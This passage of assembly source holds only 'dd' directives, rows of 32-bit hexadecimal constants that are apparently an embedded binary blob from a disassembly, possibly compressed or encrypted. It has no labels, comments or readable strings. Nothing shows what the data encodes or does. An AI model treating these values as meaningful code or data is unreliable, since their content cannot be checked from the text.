17BEBC1h, 5ADD6A19h, 0E4F33831h dd 9400F046h, 24BE7658h, 0FACF79h, 0EC68E5C5h, 5603AF59h dd 4F8EFE18h, 4C362C0h, 7396D2E8h, 38F0C699h, 1CB31604h dd 8F806DEBh, 5B7FA6h, 8D8E9A83h, 0C623DDDBh, 0F7D64E03h dd 900E5F64h, 37471393h, 0F3FA73FBh, 90CCF055h, 0E911BF08h dd 12FD500h, 0E5A9E7C2h, 57FF0762h, 20436DDBh, 52C45D32h dd 60C19300h, 0B430DC6Bh, 97DF0018h, 4C783E10h, 0C400EF48h dd 671E6FE2h, 2462F43Ch, 16C54A9h, 2D2532C6h, 8C3BCCA8h dd 0C190F8EAh, 0A07E5000h, 0B92018A2h, 23A4007Bh, 9F924C13h dd 8C0F8139h, 400B8499h, 95B72F26h, 731D1634h, 0D3FD009Ah dd 0C07FDBA2h, 906CB0A0h, 58228100h, 0BEAC24FDh, 0DB52004Ch dd 5ECDDEEBh, 0E1008719h, 1AAE73D8h, 3580A3h, 8EAC611h dd 0EEFE4D3Dh, 66E64200h, 55EC6434h, 32B80933h, 6000259Ah dd 0AA587B9Dh, 0DA191A00h, 6AEAC857h, 854000E5h, 55DB0BFEh dd 37078660h, 74091975h, 0AAA66A10h, 57960033h, 3D04D876h dd 0F12807EBh, 3714D485h, 90F329h, 86DC899Ch, 0F52E427h dd 194D707Ch, 0CA161C80h, 5C0A8AD6h, 0D44614A8h, 0E46B4380h dd 70A044Ah, 864E3B12h, 21D1D6A6h, 60F4C800h, 7728AEDAh dd 69F00E20h, 6180687Bh, 1149957Dh, 0BBB7CD00h, 6C564B96h dd 0DAF500C0h, 0ABE39AD4h, 230C3C1Fh, 50BE74ADh, 4262044Eh dd 803EB348h, 0CA0E0F8Fh, 58245D7Bh, 6D0A2885h, 0EB00C840h dd 0C353D465h, 8F68003Dh, 1B9C805Fh, 0E51E76ABh, 0C6C03826h dd 963E2E2Bh, 0B1DDDDh, 0B632187Dh, 160026CFh, 8604B149h dd 946ED3Ch, 7C372DB0h, 11F700FDh, 3D0A2830h, 0B4802071h dd 0B6137EF9h, 1200B5D8h, 0A969CB04h, 2F3464h, 14A732C1h dd 0C7528E9Ch, 82007C90h, 4E56DF70h, 0F9CCFFh, 33FCD3CFh dd 3B03F4DEh, 0AF24A300h, 57D0656Fh, 41DB01E9h, 0B932AB2Fh dd 0E6B6DC1Eh, 0C5A00F1Ch, 5039F943h, 0FA5EF09Ch, 31C70038h dd 6DB30687h, 0A100776Bh, 0EB7075BCh, 1EF9DCB8h, 40C73C55h dd 938C53E3h, 15043004h, 5F2D328Eh, 0A7A9F3C0h, 3480F51Ah dd 0FC65D292h, 0E1D88E4h, 80BA7B04h, 17F2160Ah, 60CB12D9h dd 69676190h, 200007D4h, 0AB033C93h, 0F77357h, 64447955h dd 98D872EBh, 0AE9C9900h, 34493124h, 85AF3AA4h, 6A947A80h dd 611D7E64h, 69287000h, 12545EEFh, 10F0717h, 4A7B3D2h dd 55588152h, 9008C0BFh, 930A5A78h, 0C8C288A8h, 0FED0F180h dd 78BA2EFh, 67036D90h, 637380DFh, 3E0436BFh, 82A37C16h dd 0A7FDE0C1h, 0FF80A5C7h, 849D0Dh, 76E8E4D5h, 2A25CEC6h dd 1509D0DDh, 9B9480F0h, 2868ECh, 0D5D999Ch, 0F8361703h dd 8F29E000h, 4083A0B2h, 0B0D4611Fh, 85797Fh, 586F84h dd 0F689EC35h, 0B426FB77h dd 0FD123800h, 2B1A5BDBh, 146012B6h, 0BAF80B6Fh, 0A3F9020h dd 0DC987AEDh, 81D3F0EFh, 0CDE82A0Fh, 9A16B70Eh, 0F5151F0h dd 1C438AB6h, 9080D689h, 194E22DDh, 0ACE2CA00h, 0E03703DEh dd 60B5607Fh, 86331F78h, 87038370h, 7A21321Ch, 7D6800A5h dd 0A82478FBh, 9090C3ABh, 0F5FC6000h, 34D08975h, 4BC80002h dd 0F938DDBBh, 931380E3h, 0EC4A0EAEh, 0CEF0C887h, 0CAAD0170h dd 0B521BB10h, 0E7CFD8BEh, 89FADE14h, 0A3700C4h, 0ED6DE2C2h dd 18E5006Ch, 6486505Bh, 0B92EF8CEh, 0E14B215h, 8FBF00CCh dd 0FA01F971h, 0FD4727C7h, 700C2A76h, 0B4200Fh, 0A8484579h dd 0EEDD181Dh, 3A271B00h, 95261ED2h, 0DAA307B8h, 9043A292h dd 1CDE3EAAh, 745D3801h, 0D717C4F8h, 3B133CC0h, 100A63Bh dd 0E94166CDh, 5800F572h, 2D09EC18h, 73BB5h, 0ED6293A0h dd 177FD66Dh, 0DC0030B8h, 771B0F28h, 2EE4A23Bh, 9023B5h dd 72D4834Bh, 0EE038088h, 94FA5767h, 1A1CF054h, 0F98F813h dd 41BFEB69h, 18808E4Bh, 9F654982h, 531B300h, 6183D375h dd 8D663F9Ah, 54B79700h, 0B038B53Eh, 0D71D4CF4h, 0FBC7889Ch dd 4930C28Dh, 1C1EE4C4h, 0D457F6h, 0DB89B04h, 0E1E39B9h dd 0F2EE93BAh, 1D795A00h, 0B625F6Fh, 0AE6EF010h, 1453A420h dd 0CB00B0D4h, 0B68BBB23h, 4A7EADACh, 0C09EF12Eh, 0F89AF7E2h dd 6EB5ED07h, 0BBF11C7Ch, 23D493CEh, 90260332h, 0C0513D0Dh dd 20772B99h, 1E046B1Ch, 0BEB0DAE2h, 4A832490h, 45F73D01h dd 3D59C0Eh, 0D489A00Ch, 3D14CD50h, 5F01F207h, 4B418A3Ah dd 188BA008h, 0B980EA3Bh, 42EF9867h, 0DFCD0207h, 0DE20DC59h dd 0F5405BCh, 251A5160h, 0D50220A3h, 0C33B9D0h, 0DA2A3C15h dd 0F72E1D4Ch, 4B4CC21Eh, 0C03B798Eh, 0FE716070h, 110A07A2h dd 4CB7D4A9h, 192A500h, 3E023050h, 0E61FCBA0h, 479000ACh dd 6FA8421Bh, 0AABBFB1Ch, 0B1F6B340h, 0D3B903h, 4920A540h dd 2716FE5Ch, 80C1361Eh, 0BE437E00h, 1F054DF7h, 0CED70607h dd 0D4601509h, 0C7E2146Bh, 90575300h, 81548925h, 716C00ACh dd 404377D1h, 0FA0027B1h, 0F55A9A4Dh, 111DEDh, 0A8815B0Dh dd 0EB5D7D3Bh, 200F279h, 0B9496056h, 7ABDC6h, 0E93C01F7h dd 16D41A75h, 0D8226301h, 0E60338EAh, 96CCA06Bh, 0DFEE100Eh dd 0D35600Fh, 0F6D41E5h, 175BA104h, 0D5121520h, 420348B1h dd 11133EA2h, 18AEF0D2h, 0DDE2009Dh, 0F27B3645h, 0C3045751h dd 0DE4DF337h, 50353C88h, 69CA950h, 0D4C2117Fh, 0C5D0837h dd 586A0060h, 0AAB729F0h, 0DAF40378h, 0D49AED49h, 0E004CEEh dd 5558BFC8h, 0B2C15D25h, 0C6E626C4h, 0D97F0011h, 6147B117h dd 21F208CCh, 0B4DE0081h, 4298791Fh, 0A006DD09h, 1C0F3FA9h dd 0DF263050h, 0F1965C80h, 8C43FD03h, 0C35DEFh, 0C797C641h dd 0FE713A5h, 0D3D95C64h, 0AFA85A63h, 448C2F9Ch, 22001418h dd 86A44F0h, 398ED6D3h, 8C81666h, 5D31E40Eh, 0B9242883h dd 4A90F7E0h, 4329F605h, 380115F4h, 1D1873A5h, 0BB961093h dd 2DF43200h, 0E704Eh, 0D674DBD9h, 8CACAECDh, 0E25B2B00h dd 0A63C1263h, 0CB1500C0h, 0D9C9FF9Eh, 1372D2EFh, 2462D816h dd 0E810E300h, 0F492B31h, 1C5CDBC1h, 5AC0E460h, 0E07AA13h dd 51A0F45h, 4BDE7487h, 1F7C8172h, 95E8168Eh, 0AB730754h dd 50826064h, 7786BD3Dh, 8E48CC3Eh, 0A7B9F7A6h, 0C4C7B236h dd 0A5CD0660h, 937C006Dh, 81C5D79h, 0FE3F32F3h, 0D27D0138h dd 5A4D78B0h, 20EC8h, 0D45A937h, 467B7F27h, 7E1CDC73h dd 7040DB4Bh, 0F4C3D521h, 0C4D90032h, 0EA5A33F7h, 0F8F64F99h dd 9D39830h, 3FDEE565h, 0FA7062h, 0B636BE19h, 48A461A1h dd 3844B400h, 67070820h, 5BD00ADh, 3ABE0666h, 0EC00DF4Eh dd 3FC01DA2h, 3426113h, 0A3A8D168h, 25D0B3A6h, 5107E949h dd 39803881h, 63800B94h, 0B2B59Ah, 0E80A7243h, 0A35362F5h dd 778ECD00h, 3D81A9B6h, 0D0BE1D15h, 5138102h, 0F4719D2Ch dd 0F90E2123h, 0C050D4F3h, 0AD554614h, 67680157h, 6E10DA07h dd 0C6F240B0h, 1501B8F5h, 0DFA23AA9h, 0B5D8078Fh, 225500D1h dd 8B194883h, 270E89F1h, 80FBE775h, 9B0D4416h, 45711862h dd 0A979BEAEh, 0BCAFB900h, 0E544232Ch, 313CB804h, 9E48481Ah dd 0E9AC2103h, 61E7F1ECh, 4800DF2Dh, 92E16281h, 50285920h dd 0E68EB33Fh, 8487004Ch, 321E128Dh, 0AA388346h, 64DD80A2h dd 21FB1C24h, 0D1A31F69h, 80EDC013h, 2A60AABAh, 34D5A71Ch dd 15122600h, 0D3329Eh, 0D4E8DB5Ah, 3BFCAC5h, 3ACBA217h dd 537C301h, 0F18246D0h, 34E3EC2Dh, 6060DEE1h, 810059DDh dd 0D95B160Bh, 0F4765718h, 0E5DD009Fh, 21A1F4BCh, 0D860BA5Ch dd 0E392BD60h, 0D32500D2h, 76C29B42h, 0C1788CFAh, 5101CB00h dd 0D1818BFEh, 243F007Fh, 58610427h, 23F18C5h, 0BB4D03A6h dd 0D333F0D0h, 6E0DD80Eh, 3CB50017h, 19CB859Ch, 21000C3Dh dd 8795F62Ah, 11EC2D1h, 7C3671F9h, 0E0345912h, 99183B2Fh dd 0D599D225h, 0E070E4CAh, 0DCF3079Eh, 406BD073h, 905A2374h dd 3C4EC400h, 917B8DB8h, 1181DCDEh, 48DF0039h, 0CC7CF5CAh dd 0F84D004Ch, 62D4A72Eh, 1B3DA9B7h, 835C3A23h, 0A6FE3313h dd 429CA8AFh, 0E457BD6h, 0AD0A2D36h, 662C814h, 0C48DEB5h dd 0B4111E49h, 790288C2h, 3CBA5D41h, 4557A898h, 48C289C3h dd 0CF7D98CBh, 725F074Ch, 502A43DFh, 0EDD5802Bh, 0FCF2A90Eh dd 2D28E0A5h, 1592151h, 79FB6E40h, 60E4BDCAh, 0A40013B6h dd 78221735h, 2CCE75Dh, 0CB9AC074h, 0CCC07941h, 9E00A7E9h dd 99B95F28h, 5E2186h, 266BFEBBh, 7FBE313Ch, 99F6F00h dd 2D3ADB5Dh, 0B9301E60h, 0FAF9014Bh, 0F8123B76h, 60C07E77h dd 0E9463E4Dh, 47220091h, 6DDD4AFAh, 74005554h, 0E0B06652h dd 7CDE82h, 0D42AD53Eh, 18F1465Bh, 0F6D3D000h, 8E6B42E3h dd 8697001Bh, 41AAB31h, 8400EADBh, 0E32FFE03h, 3EF2212Ch dd 12824615h, 17703658h, 68C7B448h, 645FAD01h, 0EC62145Dh dd 0AA97C050h, 0E84400BEh, 33BDCB55h, 0AFFEDED4h, 2A840701h dd 4CC08A9Bh, 0FA801E21h, 0D2FFC1BEh, 0CC00C644h, 4F0B9B10h dd 38049F83h, 0F30184A4h, 29A5AB80h, 3195602Fh, 5BED3E04h dd 0BC90BBFAh, 60A8340Eh, 0C1DD49F3h, 0F8034296h, 196E9145h dd 0E0B8E848h, 1E9EA20h, 77D7EF78h, 0D860F9C6h, 4C095595h dd 80875EDFh, 0EE025F85h, 8A8600C3h, 6B4EBD17h, 5226AA72h dd 6E01302Ah, 53E42A5h, 0D69DF8h, 0C326037Bh, 5B0283FEh dd 2B135E01h, 0EC86408h, 17AFAC30h, 1C792635h, 4D7EC078h dd 7DC32CCAh, 0CB011490h, 0B0BFA905h, 0D8304310h, 9112268Fh dd 1F92003Ch, 5907D488h, 0EA6AE912h, 171C9000h, 0B6BD25h dd 3A9FB8AAh, 434AFE40h, 2A65C600h, 4D7AE919h, 0B2CB0088h dd 1FB9440Bh, 58DD21ABh, 8034DE44h, 58B38880h, 407A764Ch dd 2C01E50Ah, 0DEC8B1BEh, 71800457h, 0E92B330Bh, 3F004274h dd 5A6FFB0Dh, 587AC7C4h, 3200D998h, 37450205h, 0EC14C627h dd 39ABB3E1h, 80F0E947h, 67C382D2h, 2CA40708h, 0F00AE344h dd 0BB38E773h, 163FDCA0h, 0BCDF5903h, 0E88BADA5h, 0E8DD98h dd 1B87ED8h, 0C0FE70B9h, 8600057Ch, 0A99A5653h, 0C065DB4Ah dd 0EE0E3940h, 4301A0C8h, 0F245A2E8h, 6F94FC5h, 12FD8CD4h dd 13CF1C14h, 0A836019Bh, 0DC842054h, 2F3C245Bh, 0C0F0265Dh dd 35C40F00h, 0D7B71Ah dd 443DCE42h, 0F5EB5A81h, 0C5B09C00h, 7079EF2Dh, 8B343C97h dd 40A8571Eh, 0FBEADA30h, 7B795616h, 0A0694500h, 549FA995h dd 63A12829h, 0A65500A8h, 72D1D856h, 0C900C8DAh, 67D990BDh dd 78377817h, 958A0032h, 10914030h, 9C504D64h, 6939CCBCh dd 0F5E481F9h, 8B926765h, 5EE8F340h, 0B8847ED7h, 0B3F420h dd 48BDF5BAh, 82924115h, 6B694603h, 0B85AD090h, 7E7521h dd 7918EB01h, 0C21E63E9h, 80D6E13Ah, 96E35CFDh, 4DAD0D1Bh dd 81001014h, 0F7A1566Fh, 0BB000623h, 8EACEFFh, 0D624F2h dd 0D1E44264h, 0EDFB7161h, 6FAFDE04h, 0B4D043C1h, 2CD99F0h dd 705AE6D9h, 8E09B6Ah, 40B0C39Fh, 9A590600h, 84A849B3h dd 3CC00E6h, 754E0580h, 0E500FF3Eh, 7823CBEDh, 14A534Ch dd 496210A9h, 8006AEF5h, 590A4460h, 0C031C33Dh, 299405Eh dd 0D90CFDDFh, 8978E8EFh, 4320D6C5h, 580BE538h, 0D1BD23Ah dd 180A7985h, 10817BE1h, 79E3311h, 0B82093F1h, 0A21CF303h dd 6240030Dh, 6C5720Ah, 0C6812A2h, 3E00C3CAh, 9970856Ah dd 7F7CD2EDh, 13723110h, 88396B0h, 0CC6FB08Ah, 97B18439h dd 853938C1h, 10538B63h, 58384028h, 4D110E57h, 0EE2E5D92h dd 0B0F82E87h, 9DEF7977h, 124C5907h, 0B7F04643h, 77E3CB0h dd 747BD0D9h, 5F5E23C8h, 9EB6E1C0h, 4882C703h, 0D8F2DAD7h dd 0D4D15Ch, 11C3422Dh, 60DB96B9h, 35B86E00h, 240D7E44h dd 494005Eh, 3DF05CF5h, 6009B66h, 527A214Ah, 80793F57h dd 7201AEB1h, 0B9A3B09Eh, 0E820A433h, 0DDB6002Dh, 0B3AA3187h dd 0D5002A86h, 1816973Ah, 0C0109A2Eh, 28021A09h, 350063BCh dd 52BE3B37h, 1EC184F3h, 4007F445h, 6456EAD8h, 22097515h dd 8A546E65h, 6B0080E0h, 2D5A3903h, 0DEAB00A8h, 7B70C95Ch dd 15B836F4h, 5FC425h, 5DF65830h, 480A3011h, 0FFAC1D10h dd 2DE02E1Ch, 371EF5C0h, 24360B22h, 4CA6BBh, 0DF2F52C6h dd 0E424E8C3h, 16005B87h, 430F204Eh, 25A02F8h, 3DEA6917h dd 1995FC60h, 0F267EE03h, 9FD9ACC1h, 4AAD5AD0h, 68F758C4h dd 2B2E7860h, 5F033526h, 951BAEF9h, 59DE8B4h, 3088040Bh dd 0C0C38975h, 0FEDA6A1Ch, 51FA0A05h, 1485C532h, 0F65A6C40h dd 1416AD0h, 694E592Fh, 742DBA42h, 901E1CA8h, 0FE174430h dd 453DC404h, 0DC38705Fh, 5F20214Fh, 0DA3C0F42h, 8CD58B57h dd 0CBB21B00h, 71CD26C5h, 8024FA3Ch, 524BEBC3h, 65AA07Bh dd 5C207350h, 1E007111h, 95F40E2Ch, 4C9C6EFEh, 38002B3Ah dd 1DE51632h, 2905BFA3h, 2F1A3BBDh, 52643880h, 417060C3h dd 3E6E8F7Fh, 0F85571Dh, 5C1DF580h, 9D26222Eh, 68C31CE0h dd 5BB7D202h, 50608B7Ch, 0D57E1030h, 80A1210Ah, 90EDE858h dd 3807AD1Ah, 930BC868h, 813B8007h, 0A2C327Bh, 48D257FCh dd 5200A89Ah, 618C2810h, 0A200E97Eh, 5EC80365h, 0E53DC90h dd 0F44778FFh, 0F7A0794Eh, 42F0FC56h, 8E843800h, 36393BBBh dd 0A4090064h, 66F8E63Eh, 4C07FD7Ch, 0F4983C43h, 0E899D6h dd 8A859476h, 87861FA6h, 58E12413h, 93561047h, 0C029A4B2h dd 148A3D4h, 0D65D1A7Dh, 4025EE5Ah, 0CC4308DCh, 0A48C4C00h dd 360C2EB4h, 45800FDh, 0CF28AFE2h, 0A100DD4Fh, 2E91C740h dd 4E9AC4h, 48CEF9FCh, 7A78C026h, 288B249h, 0CD3F3935h dd 26CC0DAh, 0AF280089h, 5A1169BCh, 3700D1C9h, 42FFD6E6h dd 7F23AE3Ah, 0A03F047Dh, 0A0A1684Bh, 0C49682B8h, 19D82080h dd 0CE7756h, 0EC59D076h, 761880Eh, 0FFE5ECC0h, 0EC6F55E4h dd 0D1A1A58h, 0CC1887Ah, 0E49ECC3h, 0AC28BC1Eh, 48FDE140h dd 1D6B5688h, 832270h, 0E8BD1B3Eh, 7707BC9Ch, 0EA0CBEBh dd 0EDF3F1E0h, 323603F9h, 8444F456h, 8CAD00B7h, 7505AAAEh dd 7ECC5562h, 0F9416980h, 7090E0h, 0C72B04C4h, 44CEA05Eh dd 9D868004h, 6080DFA1h, 0D9DA56h, 52579870h, 37C4D76Dh dd 9972A703h, 76F89Ah, 0EF053640h, 7DACE0EDh, 0C54C6704h dd 6E80BC5Dh, 155AB07h, 0E5A6DB8Dh, 401D215Eh, 9FA86494h dd 627BFB00h, 1960D898h, 52F50035h, 0A679BBC0h, 6BE6AA90h dd 8F056424h, 0ABBDCB00h, 0D55D7Eh, 0E4DEFB77h, 8AB86307h dd 9F140F00h, 3B2944D7h, 0D63F0012h, 0FA278699h, 0E60018D0h dd 0B9906A6Fh, 62B7A8B1h, 5E4B2178h, 0E61A1B40h, 0F53CB50Ch dd 33E8815h, 0A0F2F6C2h, 33B065DAh, 2D00189Fh, 58176196h dd 1CAAAF26h, 0C1805BD1h, 21CF3B78h, 0D0303514h, 290CA9DCh dd 68DACA37h, 77DF1FF8h, 0BA6880B9h, 9C7F195Eh, 23008CBAh dd 9BC2185Bh, 3EDB56DAh, 0E924BC15h, 0D7C8750h, 0F64BB25Ch dd 91AFECE0h, 466B7000h, 7CDE5FF0h, 0CD091F2Ah, 3130B016h dd 0E7249620h, 0D78348A5h, 0FD480846h, 0AE29E90Fh, 0F836076h dd 31211Dh, 0B6EB9FFh, 0A3E716Ah, 1DB46D26h, 96AAAC00h dd 0E0C5814Ah, 0C67422h, 6E551C84h, 0C9908675h, 0E77C4Ch dd 0D9D3B8E8h, 75131B2h, 2CE13659h, 0C480BFA9h, 4AE59BA6h dd 0FACD7C00h, 0B96F952h, 687D0070h, 4915F8D8h, 97709171h dd 0F6A6F000h, 51E2AF01h, 54F9033Fh, 78BF8B31h, 232552B8h dd 0B4F31100h, 0A0FB94CCh, 0B95F000Ah, 0FE32107Dh, 2C1204E8h dd 86007555h, 884EC253h, 0A69836h, 0CD82F23Bh, 639790E7h dd 49EDD801h, 0A707B044h, 82E85083h, 2000F7BFh, 78AF9B2Eh dd 25F908h, 13CC8A1Ch, 0A3B30FC5h, 2700C079h, 828BAB20h dd 7CDC0204h, 0F172098Ah, 7585F2E6h, 421EC088h, 8B00D19Fh dd 0F3EB21DAh, 386E9Eh, 905B2EDBh, 0D8A48464h, 860CF0Eh dd 59CB609Ch, 0C7BBDCh, 0A41A386h, 0ADC339FFh, 0F6EC2101h dd 0B9A430A9h, 397E33D8h, 8807A2Fh, 4A16B368h, 0BF000CD5h dd 532605C0h, 0E31B27h, 0AB6FCD83h, 0C158EC6h, 3BEFE400h dd 0BFF99196h, 0A4A903C5h, 97B2B8BCh, 45554FF8h, 0B7126E0Fh dd 0E4CF471Eh, 0D5EE9A50h, 18C40B42h, 35805B86h, 0C4CB899h dd 0C14F2700h, 4A4632FEh, 435E00C0h, 9275AB38h, 0A2001947h dd 8D780C2h, 0AD9C94h, 0E30D36B5h, 0DF951D8Ch, 0DEEF8B00h dd 2A6F06B0h, 1AD50072h, 441C016Eh, 5AB0965Dh, 0AB1F8103h dd 0D0402868h, 0D01E0Eh, 5E43BBC6h, 9DF02F03h, 0DAD27100h dd 4E750DB5h, 0E6420053h, 1DD5FD3Eh, 4879DEB9h, 0E5CD98C3h dd 4C80A504h, 1D2830BBh, 1D50819Eh, 498C0692h, 4C212846h dd 21A0912Eh, 0E07C6068h, 470CC7A0h, 8D50724h, 297AEAh dd 0E87737E7h, 0C24A83F9h, 0FF001B78h, 0C3EE4D4Fh, 79D23DABh dd 0F7EC003Bh, 3833BCCDh, 0F930A034h, 0B20F307Fh, 0BD0A00D9h dd 43949F45h, 791E872Ch, 7C807F55h, 27D5A0ECh, 6D61F924h dd 23705801h, 0A08030C1h, 0BA243FD5h, 13614A0Ch, 0E0B99AE8h dd 7F8848h, 0CB0A2437h, 17A40407h, 114B3Eh, 25BEBB52h dd 3F466Eh, 0F6E37FE0h, 244CB71Dh, 650141FAh, 9BEB6A36h dd 8CF01FC4h, 0B98907F0h, 31850780h, 0FCD8EA22h, 3C6DE73Ah dd 40E7098h, 0E103D306h, 6204112Fh, 0D6EE74E7h, 0D5536180h dd 75050040h, 94B2CEB9h, 771EB764h, 45C0E9BFh, 764CA11Bh dd 0C11E0001h, 49823C56h, 55029442h, 0EC878B1Ch, 0CAE890C4h dd 5B710085h, 0E1B805F0h, 0A500A637h, 7EF4749h, 31DD7B24h dd 0AB206031h, 0EE68D4F8h, 0CFA420A7h, 0C3022021h, 0C055A70Fh dd 63674E31h, 0CD38046h, 81C9B9A1h, 7543F2B1h, 80504BA3h dd 2EFF952Ch, 60DD509h dd 887CD9Fh, 0A321646Fh, 9821FF8Dh, 0E85F588h, 1E0BC4E6h dd 1F0343A1h, 84299FC8h, 5995B506h, 0D3FF0AA0h, 83B42C3Eh dd 24D5B981h, 48538019h, 9016F438h, 93126F46h, 9F680AFFh dd 40604448h, 56FF8B0Bh, 7ABF0068h, 0C57549B6h, 8803D345h dd 0EA1CAB66h, 5879003Fh, 819B8B13h, 46332860h, 3509B9h dd 8BFB7821h, 8C4EE313h, 8F82AD00h, 0FC3865B2h, 0C039E474h dd 0DE712328h, 3FECD125h, 44C94819h, 24245F08h, 0DE691E82h dd 0B626C050h, 0FB799139h, 38641B0Ah, 7D4024F0h, 46D121DEh dd 54226Ch, 0A7DE7586h, 83883C29h, 0E1099170h, 38FAC9h dd 0EA038F2Ch, 0FC6B029Dh, 0B9E5B5E3h, 0A101AC42h, 0E8D1362Ah dd 0EF1F2E41h, 68CAA05h, 60F1382Dh, 0E0BCF107h, 2407A6F2h dd 0AEDF324Ah, 85CE77A0h, 0E40539FFh, 0B6D30B02h, 20404B6Dh dd 9C53AB99h, 3060A288h, 0BC2425CAh, 0EA0018F3h, 0FDC6D50Ah dd 124C9259h, 0F4F4DB1h, 11868608h, 6F0218A3h, 7F25FF23h dd 0B98CE373h, 1430CD4Ch, 130C071Eh, 4ED30148h, 2E89D1A3h dd 0C2E64002h, 90FF7DEAh, 127F3364h, 40A2E113h, 0ECDC6ECh dd 0D1622040h, 441828h, 0E0934C25h, 44B9F44h, 0C470BB24h dd 2C6CC308h, 21540930h, 2BB1C6Bh, 0A57D41BFh, 98821E50h dd 0E10347FDh, 0F329003Dh, 0A1219609h, 0D31225F7h, 74E05C2Eh dd 50477364h, 408588A4h, 0C810394Dh, 0F23A23DDh, 7FAA6605h dd 551000D6h, 6F920D04h, 8EC9E21Dh, 50E3ECA8h, 6D8510B8h dd 6C91BC92h, 50740B06h, 495F0021h, 1D4F7104h, 6204EC54h dd 51D23A73h, 0F5BD2A41h, 0C1C2033h, 6B492790h, 0FF6780C8h dd 8C7FD50Bh, 0F4076144h, 0D49212FFh, 6A3900BFh, 0CE6873C6h dd 0B7139AF4h, 9804959Bh, 58432C4Dh, 0A9046984h, 61D6D3FDh dd 0B6760C90h, 782649C9h, 0A9BD3106h, 0FF309848h, 0EA4C71ABh dd 0C3E9C00Dh, 49D18146h, 194ECE1Dh, 9B453183h, 0AE48102Bh dd 119F0201h, 40E3D306h, 8042913Ch, 0A954BECBh, 3A1338B0h dd 1C41C6C9h, 47358511h, 4DF1788Fh, 28A12D86h, 0B9C3B898h dd 0D9BD3C8Ah, 686447A4h, 0D4CA07DFh, 81E91D54h, 0C56822DDh dd 505361B6h, 6F877090h, 119CD34Ch, 0D52A4CC3h, 621A00A8h dd 19D38186h, 0ACF40699h, 80E47D49h, 0CBDF6C9h, 0B8713BBCh dd 96919C8Fh, 7881599Ah, 0DC9328D2h, 752AFB58h, 0DB009852h dd 0A5486337h, 0D9E179h, 66EDD6F2h, 3107A423h, 34810E2Eh dd 4D0AC901h, 0B8EC2DD7h, 23232D1h, 0E481D978h, 0F103939Ch dd 75B98D4Eh, 6120614Ah, 10590072h, 9B4436CEh, 0C92C65A9h dd 0D182886Ah, 8132F9DDh, 624825A8h, 7B009423h, 0FA17460Eh dd 0E277C7D5h, 8E100800h, 65F94D98h, 1209822h, 0CCF40DF3h dd 219EE92Bh, 0C520CE20h, 0F04C27Bh, 7EFBF13Fh, 1E080773h dd 0D5486152h, 3A2024C9h, 46D122h, 1037AA09h, 0BE7C1370h dd 5DDC2002h, 81DDC321h, 46D93618h, 0FBC009CFh, 48806890h dd 10CD38C8h, 80C1ACE2h, 292DD187h, 90D82821h, 184B6124h dd 0E0C11F98h, 8B89966h, 41757898h, 4C10CB80h, 0A1233C20h dd 72BB1E00h, 8627F8C4h, 613144h, 0DBE7BB16h, 29B5C32Ah dd 1FF85F48h, 66C447E2h, 0D4CEE824h, 67C05688h, 99F7B10h dd 0AC9977EDh, 43D5C802h, 0F218700h, 1CE25D64h, 68096A23h dd 77EC84FFh, 88570CD8h, 0FF1CA006h, 0EF02D741h, 0C14E07C5h dd 91816D0h, 81698B08h, 0F17A7010h, 78DB8B00h, 2D7D922Ch dd 0C30600B8h, 0F9F2EF85h, 0D5729005h, 88A84EE1h, 0D3B9C054h dd 0C3266CA7h, 91FE4DBh, 0E3BF1EE0h, 69D5C534h, 9FB4314Bh dd 0F0C9711Bh, 18D35A9Dh, 0FB0C4804h, 6170B080h, 44509802h dd 6C7F8A06h, 0DED9A402h, 0E07C142Eh, 9447C6C8h, 38E10C70h dd 6700BD91h, 2BA92D8Eh, 41B74Dh, 21E12A5h, 6381ECD3h dd 0DDCA5004h, 50843059h, 30247085h, 29B1FCC1h, 0C8B9199Eh dd 7B008239h, 0AEC0BE43h, 9A4024E4h, 0FDF90258h, 84C1A118h dd 58142865h, 5B1510D0h, 9863DD0Ch, 99670478h, 0FC402008h dd 266E9216h, 45C4C63Ah, 0E3BEC758h, 22B02ABCh, 0E7ED769Ah dd 0BB0721EEh, 0A1FD8631h, 7DE4F800h, 0EA6500F0h, 7C7BE204h dd 352E7051h, 391AE27Fh, 1D108488h, 9A8B1460h, 11F88123h dd 0FC790031h, 6C396A8Bh, 214B029Ah, 5E8AD9B6h, 0B4EA8084h dd 3B60384Ch, 0D3F16808h, 0B6722421h, 7700BA08h, 0BE0138C4h dd 0C563D579h, 52A319h, 32518EE9h, 3506DD58h, 0B794D814h dd 4BABC0DCh, 9056E4h, 26B9295Ah, 153AEAE2h, 0D6702402h dd 664722ECh, 9254A144h, 71BBE419h, 2610C410h, 6C802FC8h dd 0F38ABB1Dh, 73FC00BAh, 0A90862Ch, 0D1162788h, 544B5585h dd 0FBD4A4AAh, 24DE7060h, 1144D123h, 68830053h, 8731EDDEh dd 0A1150941h, 8402F58Fh, 0D0034D79h, 748950ACh, 0EB0705ECh dd 5053C74Fh, 0BAC084ACh, 26252E72h, 56896400h, 8AF6E685h dd 50B975ABh, 1447C80Ch, 843A79B5h, 21C09688h, 21C47DBBh dd 309127F0h, 0BB196002h, 0F060EC51h, 0F948DBE2h, 7AB703EEh dd 0F5B5DD7Ch, 4AC580D7h, 5F5938C1h, 0FB317710h, 0F83BC3ECh dd 58045974h, 3A2D10C0h, 0E3C98D00h, 7FA1E1A5h, 13770C17h dd 3161016h, 570F1040h, 0A7736F93h, 0AF400820h, 3BC44FC1h dd 0B6989450h, 0CB580E67h, 8589ED6Eh, 58824C4Ah, 0A00C599Ah dd 502290C5h, 1970820h, 4E594448h, 747FF10Bh, 0D1001F40h dd 0D61898CDh, 71387C8h, 1191D2CEh, 153D50DAh, 3C00D178h dd 5CEF5F8Eh, 0A0EE5037h, 1D3D3E04h, 4027E84Eh, 0C2E48379h dd 0D40FDB26h, 2752B5FAh, 0AD70D813h, 4F0E5377h, 219C302Dh dd 2F396684h, 93378039h, 860F0C79h, 0F0B000EBh, 8D6C32CAh dd 9700E915h, 99DFDDC5h, 282E63h, 0BBC6DAF4h, 6EFEEACCh dd 0DFF7600h, 4D01105Ch, 0A070072h, 9F08DFC4h, 1B01300Fh dd 90A623F7h, 85C84D60h, 0D3BE00E5h, 0D357834h, 0C600E7ECh dd 9DB06F23h, 697495h, 50E8AD0Fh, 87178B10h, 585CE600h dd 73806A33h, 8A8D1C27h, 887F4059h, 0C21E8601h, 0D4675Ch dd 360BE4Fh, 0A9B4CCh, 49402EFh, 0EB4DA140h, 3EDA5700h dd 43798436h, 0F92500D7h, 27BE5EBCh, 9F05DF35h, 0F3D970A5h dd 1A40EC43h, 0BBA18874h, 111E0018h, 1B6C958Bh, 25008024h dd 0B1A26E94h, 0A43D61h, 3BB32D2Ch, 